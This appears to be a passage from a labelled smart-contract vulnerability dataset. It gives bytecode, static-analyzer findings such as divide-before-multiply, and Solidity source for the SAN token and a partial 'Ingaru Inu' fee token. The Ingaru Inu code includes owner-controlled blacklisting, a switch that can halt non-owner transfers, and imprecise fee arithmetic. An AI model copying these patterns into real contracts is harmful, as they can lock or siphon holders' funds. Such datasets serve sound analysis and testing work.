505050565b600082820183811015610ec157fe5b600854600090670de0b6b3a7640000838101918101908390610ff56414f46b04008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be40002811515610fef57fe5b04610ee3565b811515610ffe57fe5b0495945050505050565b80600260018201045b8181101561093957809150600281828581151561102a57fe5b040181151561103557fe5b0490506110115600a165627a7a7230582025afa42f0aed96d725c98580cdcd45aa5190fd476734abe5ae9d832683b447950029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,368 |
0x7c5a0ce9267ed19b22f8cae653f198e3e8daf098
|
pragma solidity ^0.4.11;
// ==== DISCLAIMER ====
//
// ETHEREUM IS STILL AN EXPEREMENTAL TECHNOLOGY.
// ALTHOUGH THIS SMART CONTRACT WAS CREATED WITH GREAT CARE AND IN THE HOPE OF BEING USEFUL, NO GUARANTEES OF FLAWLESS OPERATION CAN BE GIVEN.
// IN PARTICULAR - SUBTILE BUGS, HACKER ATTACKS OR MALFUNCTION OF UNDERLYING TECHNOLOGY CAN CAUSE UNINTENTIONAL BEHAVIOUR.
// YOU ARE STRONGLY ENCOURAGED TO STUDY THIS SMART CONTRACT CAREFULLY IN ORDER TO UNDERSTAND POSSIBLE EDGE CASES AND RISKS.
// DON'T USE THIS SMART CONTRACT IF YOU HAVE SUBSTANTIAL DOUBTS OR IF YOU DON'T KNOW WHAT YOU ARE DOING.
//
// THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
// AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
// OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
// ====
//
/// @author Santiment LLC
/// @title SAN - santiment token
contract Base {
function max(uint a, uint b) returns (uint) { return a >= b ? a : b; }
function min(uint a, uint b) returns (uint) { return a <= b ? a : b; }
modifier only(address allowed) {
if (msg.sender != allowed) throw;
_;
}
///@return True if `_addr` is a contract
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) return false;
uint size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
// *************************************************
// * reentrancy handling *
// *************************************************
//@dev predefined locks (up to uint bit length, i.e. 256 possible)
uint constant internal L00 = 2 ** 0;
uint constant internal L01 = 2 ** 1;
uint constant internal L02 = 2 ** 2;
uint constant internal L03 = 2 ** 3;
uint constant internal L04 = 2 ** 4;
uint constant internal L05 = 2 ** 5;
//prevents reentrancy attacs: specific locks
uint private bitlocks = 0;
modifier noReentrancy(uint m) {
var _locks = bitlocks;
if (_locks & m > 0) throw;
bitlocks |= m;
_;
bitlocks = _locks;
}
modifier noAnyReentrancy {
var _locks = bitlocks;
if (_locks > 0) throw;
bitlocks = uint(-1);
_;
bitlocks = _locks;
}
///@dev empty marking modifier signaling to user of the marked function , that it can cause an reentrant call.
/// developer should make the caller function reentrant-safe if it use a reentrant function.
modifier reentrant { _; }
}
contract Owned is Base {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) only(owner) {
newOwner = _newOwner;
}
function acceptOwnership() only(newOwner) {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract ERC20 is Owned {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) isStartedOnly returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) isStartedOnly returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) isStartedOnly returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
bool public isStarted = false;
modifier onlyHolder(address holder) {
if (balanceOf(holder) == 0) throw;
_;
}
modifier isStartedOnly() {
if (!isStarted) throw;
_;
}
}
contract SubscriptionModule {
function attachToken(address addr) public ;
}
contract SAN is Owned, ERC20 {
string public constant name = "SANtiment network token";
string public constant symbol = "SAN";
uint8 public constant decimals = 18;
address CROWDSALE_MINTER = 0xDa2Cf810c5718135247628689D84F94c61B41d6A;
address public SUBSCRIPTION_MODULE = 0x00000000;
address public beneficiary;
uint public PLATFORM_FEE_PER_10000 = 1; //0.01%
uint public totalOnDeposit;
uint public totalInCirculation;
///@dev constructor
function SAN() {
beneficiary = owner = msg.sender;
}
// ------------------------------------------------------------------------
// Don't accept ethers
// ------------------------------------------------------------------------
function () {
throw;
}
//======== SECTION Configuration: Owner only ========
//
///@notice set beneficiary - the account receiving platform fees.
function setBeneficiary(address newBeneficiary)
external
only(owner) {
beneficiary = newBeneficiary;
}
///@notice attach module managing subscriptions. if subModule==0x0, then disables subscription functionality for this token.
/// detached module can usually manage subscriptions, but all operations changing token balances are disabled.
function attachSubscriptionModule(SubscriptionModule subModule)
noAnyReentrancy
external
only(owner) {
SUBSCRIPTION_MODULE = subModule;
if (address(subModule) > 0) subModule.attachToken(this);
}
///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token.
function setPlatformFeePer10000(uint newFee)
external
only(owner) {
require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible)
PLATFORM_FEE_PER_10000 = newFee;
}
function startToken()
isNotStartedOnly
only(owner) {
totalInCirculation = totalSupply;
isStarted = true;
}
//======== Interface XRateProvider: a trivial exchange rate provider. Rate is 1:1 and SAN symbol as the code
//
///@dev used as a default XRateProvider (id==0) by subscription module.
///@notice returns always 1 because exchange rate of the token to itself is always 1.
function getRate() returns(uint32 ,uint32) { return (1,1); }
function getCode() public returns(string) { return symbol; }
//==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support =====
///
///@dev used by subscription module to operate on token balances.
///@param msg_sender should be an original msg.sender provided to subscription module.
function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender)
public
onlyTrusted
returns(bool success) {
success = _from != msg_sender && allowed[_from][msg_sender] >= _value;
if (!success) {
Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0);
} else {
success = _fulfillPayment(_from, _to, _value, 0, msg_sender);
if (success) {
allowed[_from][msg_sender] -= _value;
}
}
return success;
}
///@dev used by subscription module to operate on token balances.
///@param msg_sender should be an original msg.sender provided to subscription module.
function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender)
public
onlyTrusted
returns (bool success) {
var fee = _fee(_value);
assert (fee <= _value); //internal sanity check
if (balances[_from] >= _value && balances[_to] + _value > balances[_to]) {
balances[_from] -= _value;
balances[_to] += _value - fee;
balances[beneficiary] += fee;
Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.OK, subId);
return true;
} else {
Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.BALANCE_ERROR, subId);
return false;
}
}
function _fee(uint _value) internal constant returns (uint fee) {
return _value * PLATFORM_FEE_PER_10000 / 10000;
}
///@notice used by subscription module to re-create token from returning deposit.
///@dev a subscription module is responsible to correct deposit management.
function _mintFromDeposit(address owner, uint amount)
public
onlyTrusted {
balances[owner] += amount;
totalOnDeposit -= amount;
totalInCirculation += amount;
}
///@notice used by subscription module to burn token while creating a new deposit.
///@dev a subscription module is responsible to create and maintain the deposit record.
function _burnForDeposit(address owner, uint amount)
public
onlyTrusted
returns (bool success) {
if (balances[owner] >= amount) {
balances[owner] -= amount;
totalOnDeposit += amount;
totalInCirculation -= amount;
return true;
} else { return false; }
}
//========= Crowdsale Only ===============
///@notice mint new token for given account in crowdsale stage
///@dev allowed only if token not started yet and only for registered minter.
///@dev tokens are become in circulation after token start.
function mint(uint amount, address account)
onlyCrowdsaleMinter
isNotStartedOnly
{
totalSupply += amount;
balances[account]+=amount;
}
///@notice start normal operation of the token. No minting is possible after this point.
function start()
onlyCrowdsaleMinter
isNotStartedOnly {
totalInCirculation = totalSupply;
isStarted = true;
}
//========= SECTION: Modifier ===============
modifier onlyCrowdsaleMinter() {
if (msg.sender != CROWDSALE_MINTER) throw;
_;
}
modifier onlyTrusted() {
if (msg.sender != SUBSCRIPTION_MODULE) throw;
_;
}
///@dev token not started means minting is possible, but usual token operations are not.
modifier isNotStartedOnly() {
if (isStarted) throw;
_;
}
enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR}
///@notice event issued on any fee based payment (made of failed).
///@param subId - related subscription Id if any, or zero otherwise.
event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId);
}//contract SAN
|
0x6060604052361561019e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101b4578063095ea7b31461024457806318160ddd146102775780631c31f7101461029957806323b872dd146102b75780632981cceb146102f05780632c7ec2c214610311578063313ce5671461035557806335b55d981461037b57806338af3eed146103a7578063544736e6146103d357806359ba1dd5146103f75780635cb0c16f14610437578063679aefce146104595780636d5433e61461048c5780636dd43d1f146104b457806370a08231146104d257806379ba5097146105005780637ae2b5c7146105125780638da5cb5b1461053a57806394bf804d1461056657806395d89b41146105875780639bd3345714610617578063a9059cbb14610639578063abf0661f1461066c578063be9a65551461069f578063cd00ee0d146106b1578063d4ee1d90146106c3578063dd62ed3e146106ef578063e3d0799c14610723578063ea87963414610745578063f2fde38b146107d5578063f9cc2e66146107f3575b34156101a657fe5b6101b25b60006000fd5b565b005b34156101bc57fe5b6101c4610808565b60408051602080825283518183015283519192839290830191850190808383821561020a575b80518252602083111561020a57601f1990920191602091820191016101ea565b505050905090810190601f1680156102365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024c57fe5b610263600160a060020a036004351660243561083f565b604080519115158252519081900360200190f35b341561027f57fe5b6102876108bc565b60408051918252519081900360200190f35b34156102a157fe5b6101b2600160a060020a03600435166108c2565b005b34156102bf57fe5b610263600160a060020a036004358116906024351660443561090d565b604080519115158252519081900360200190f35b34156102f857fe5b6101b2600160a060020a0360043516602435610a32565b005b341561031957fe5b610263600160a060020a03600435811690602435811690604435906064359060843516610a83565b604080519115158252519081900360200190f35b341561035d57fe5b610365610c7d565b6040805160ff9092168252519081900360200190f35b341561038357fe5b61038b610c82565b60408051600160a060020a039092168252519081900360200190f35b34156103af57fe5b61038b610c91565b60408051600160a060020a039092168252519081900360200190f35b34156103db57fe5b610263610ca0565b604080519115158252519081900360200190f35b34156103ff57fe5b610263600160a060020a036004358116906024358116906044359060643516610ca9565b604080519115158252519081900360200190f35b341561043f57fe5b610287610df4565b60408051918252519081900360200190f35b341561046157fe5b610469610dfa565b6040805163ffffffff938416815291909216602082015281519081900390910190f35b341561049457fe5b610287600435602435610e02565b60408051918252519081900360200190f35b34156104bc57fe5b6101b2600160a060020a0360043516610e1d565b005b34156104da57fe5b610287600160a060020a0360043516610f15565b60408051918252519081900360200190f35b341561050857fe5b6101b2610f34565b005b341561051a57fe5b610287600435602435610fc4565b60408051918252519081900360200190f35b341561054257fe5b61038b610fdf565b60408051600160a060020a039092168252519081900360200190f35b341561056e57fe5b6101b2600435600160a060020a0360243516610fee565b005b341561058f57fe5b6101c461104d565b60408051602080825283518183015283519192839290830191850190808383821561020a575b80518252602083111561020a57601f1990920191602091820191016101ea565b505050905090810190601f1680156102365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061f57fe5b610287611084565b60408051918252519081900360200190f35b341561064157fe5b610263600160a060020a036004351660243561108a565b604080519115158252519081900360200190f35b341561067457fe5b610263600160a060020a0360043516602435611165565b604080519115158252519081900360200190f35b34156106a757fe5b6101b26111ec565b005b34156106b957fe5b6101b2611236565b005b34156106cb57fe5b61038b61127d565b60408051600160a060020a039092168252519081900360200190f35b34156106f757fe5b610287600160a060020a036004358116906024351661128c565b60408051918252519081900360200190f35b341561072b57fe5b6102876112b9565b60408051918252519081900360200190f35b341561074d57fe5b6101c46112bf565b60408051602080825283518183015283519192839290830191850190808383821561020a575b80518252602083111561020a57601f1990920191602091820191016101ea565b505050905090810190601f1680156102365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107dd57fe5b6101b2600160a060020a0360043516611300565b005b34156107fb57fe5b6101b260043561134b565b005b60408051808201909152601781527f53414e74696d656e74206e6574776f726b20746f6b656e000000000000000000602082015281565b60065460009060ff1615156108545760006000fd5b600160a060020a03338116600081815260046020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b5b92915050565b60055481565b600154600160a060020a0390811690331681146108df5760006000fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b60065460009060ff1615156109225760006000fd5b600160a060020a0384166000908152600360205260409020548290108015906109725750600160a060020a0380851660009081526004602090815260408083203390941683529290522054829010155b80156109975750600160a060020a038316600090815260036020526040902054828101115b15610a2557600160a060020a03808416600081815260036020908152604080832080548801905588851680845281842080548990039055600483528184203390961684529482529182902080548790039055815186815291519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610a29565b5060005b5b5b9392505050565b60075433600160a060020a03908116911614610a4e5760006000fd5b600160a060020a0382166000908152600360205260409020805482019055600a80548290039055600b8054820190555b5b5050565b600754600090819033600160a060020a03908116911614610aa45760006000fd5b610aad85611383565b905084811115610ab957fe5b600160a060020a038716600090815260036020526040902054859010801590610afb5750600160a060020a038616600090815260036020526040902054858101115b15610bc057600160a060020a03808816600081815260036020908152604080832080548b900390558a85168084528184208054888d030190556008548616845281842080548801905581519485529184019190915282018890526060820184905291851660808201527f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e91899189918991869189918b9060a08101835b60ff16815260200182815260200197505050505050505060405180910390a160019150610c71565b7f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e878787848760018a6040518088600160a060020a0316600160a060020a0316815260200187600160a060020a0316600160a060020a0316815260200186815260200185815260200184600160a060020a0316600160a060020a03168152602001836002811115610c4d57fe5b60ff16815260200182815260200197505050505050505060405180910390a1600091505b5b5b5095945050505050565b601281565b600754600160a060020a031681565b600854600160a060020a031681565b60065460ff1681565b60075460009033600160a060020a03908116911614610cc85760006000fd5b81600160a060020a031685600160a060020a031614158015610d105750600160a060020a03808616600090815260046020908152604080832093861683529290522054839010155b9050801515610da6577f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e858585610d4687611383565b60408051600160a060020a0380871682528581166020830152918101849052606081018390529088166080820152879060029060009060a08101835b60ff16815260200182815260200197505050505050505060405180910390a1610de9565b610db4858585600086610a83565b90508015610de957600160a060020a038086166000908152600460209081526040808320938616835292905220805484900390555b5b5b5b949350505050565b600b5481565b6001805b9091565b600081831015610e125781610e14565b825b90505b92915050565b6000805490811115610e2f5760006000fd5b600019600055600154600160a060020a039081169033168114610e525760006000fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385169081179091556000901115610f085782600160a060020a031663406a6f60306040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b1515610ef657fe5b6102c65a03f11515610f0457fe5b5050505b5b5b5060008190555b5050565b600160a060020a0381166000908152600360205260409020545b919050565b600254600160a060020a039081169033168114610f515760006000fd5b600254600154604051600160a060020a0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002546001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b50565b600081831115610e125781610e14565b825b90505b92915050565b600154600160a060020a031681565b60065433600160a060020a03908116610100909204161461100f5760006000fd5b60065460ff16156110205760006000fd5b6005805483019055600160a060020a03811660009081526003602052604090208054830190555b5b5b5050565b60408051808201909152600381527f53414e0000000000000000000000000000000000000000000000000000000000602082015281565b600a5481565b60065460009060ff16151561109f5760006000fd5b600160a060020a0333166000908152600360205260409020548290108015906110e15750600160a060020a038316600090815260036020526040902054828101115b1561115557600160a060020a03338116600081815260036020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060016108b5565b5060006108b5565b5b5b92915050565b60075460009033600160a060020a039081169116146111845760006000fd5b600160a060020a0383166000908152600360205260409020548290106111555750600160a060020a038216600090815260036020526040902080548290039055600a805482019055600b8054829003905560016108b5565b5060006108b5565b5b5b92915050565b60065433600160a060020a03908116610100909204161461120d5760006000fd5b60065460ff161561121e5760006000fd5b600554600b556006805460ff191660011790555b5b5b565b60065460ff16156112475760006000fd5b600154600160a060020a0390811690331681146112645760006000fd5b600554600b556006805460ff191660011790555b5b505b565b600254600160a060020a031681565b600160a060020a038083166000908152600460209081526040808320938516835292905220545b92915050565b60095481565b6112c7611399565b5060408051808201909152600381527f53414e000000000000000000000000000000000000000000000000000000000060208201525b90565b600154600160a060020a03908116903316811461131d5760006000fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b600154600160a060020a0390811690331681146113685760006000fd5b6127108211156113785760006000fd5b60098290555b5b5050565b6009546000906127109083025b0490505b919050565b604080516020810190915260008152905600a165627a7a72305820c88f7e9bba3ee0dbc2e6dc4ae699a2f59d03e11ef10a5f6126d85585f209f80f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 4,369 |
0x4cf9ff06ea36f7144e51bde22773f23ce6aa2020
|
/**
*Submitted for verification at Etherscan.io on 2022-01-24
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract IngaruInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ingaru Inu";
string private constant _symbol = "IGU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _devTax;
uint256 private _buyDevTax = 8;
uint256 private _sellDevTax = 0;
uint256 private _marketingTax;
uint256 private _buyMarketingTax = 8;
uint256 private _sellMarketingTax = 5;
uint256 private _salesTax;
uint256 private _buySalesTax = 6;
uint256 private _sellSalesTax = 5;
uint256 private _totalBuyTax = _buyDevTax + _buyMarketingTax + _buySalesTax;
uint256 private _totalSellTax = _sellDevTax + _sellMarketingTax + _sellSalesTax;
uint256 private _summedTax = _marketingTax+_salesTax;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _devWalletAddress;
address payable private _holdings;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private enableLevelSell = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketingTaxAddress, address payable devfeeAddr, address payable depAddr, address payable holdings) {
_Marketingfund = marketingTaxAddress;
_Deployer = depAddr;
_devWalletAddress = devfeeAddr;
_holdings = holdings;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_devWalletAddress] = true;
_isExcludedFromFee[_Deployer] = true;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // bsc 0x10ED43C718714eb63d5aA57B78B54704E256024E eth 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setLevelSellEnabled(bool enable) external onlyOwner {
enableLevelSell = enable;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_devTax == 0 && _summedTax == 0) return;
_devTax = 0;
_summedTax = 0;
}
function restoreAllFee() private {
_devTax = _buyDevTax;
_marketingTax = _buyMarketingTax;
_salesTax = _buySalesTax;
_summedTax = _marketingTax+_salesTax;
}
function takeBuyFee() private {
_salesTax = _buySalesTax;
_marketingTax = _buyMarketingTax;
_devTax = _buyDevTax;
_summedTax = _marketingTax+_salesTax;
}
function takeSellFee() private {
_devTax = _sellDevTax;
_salesTax = _sellSalesTax;
_marketingTax = _sellMarketingTax;
_summedTax = _sellSalesTax+_sellMarketingTax;
}
function levelSell(uint256 amount, address sender) private returns (uint256) {
uint256 sellTax = amount.mul(_totalSellTax).div(100);
_rOwned[sender] = _rOwned[sender].sub(sellTax);
_rOwned[address(this)] = _rOwned[address(this)].add(sellTax);
uint256 tAmount = amount.sub(sellTax);
uint256 prevEthBalance = address(this).balance;
swapTokensForEth(sellTax);
uint256 newEthBalance = address(this).balance;
uint256 balanceDelta = newEthBalance - prevEthBalance;
if (balanceDelta > 0) {
sendETHForSellTax(balanceDelta);
}
return tAmount;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
if (from != owner() && to != owner() && to != uniswapV2Pair) {
require(swapEnabled, "Swap disabled");
_tokenTransfer(from, to, amount, takeFee);
} else {
_tokenTransfer(from, to, amount, takeFee);
}
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), type(uint256).max);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(_totalBuyTax).mul(_buyMarketingTax));
_devWalletAddress.transfer(amount.div(_totalBuyTax).mul(_buyDevTax));
_Deployer.transfer(amount.div(_totalBuyTax).mul(_buySalesTax));
}
function sendETHForSellTax(uint256 amount) private {
_holdings.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 25000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external onlyOwner() {
swapEnabled = enabled;
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
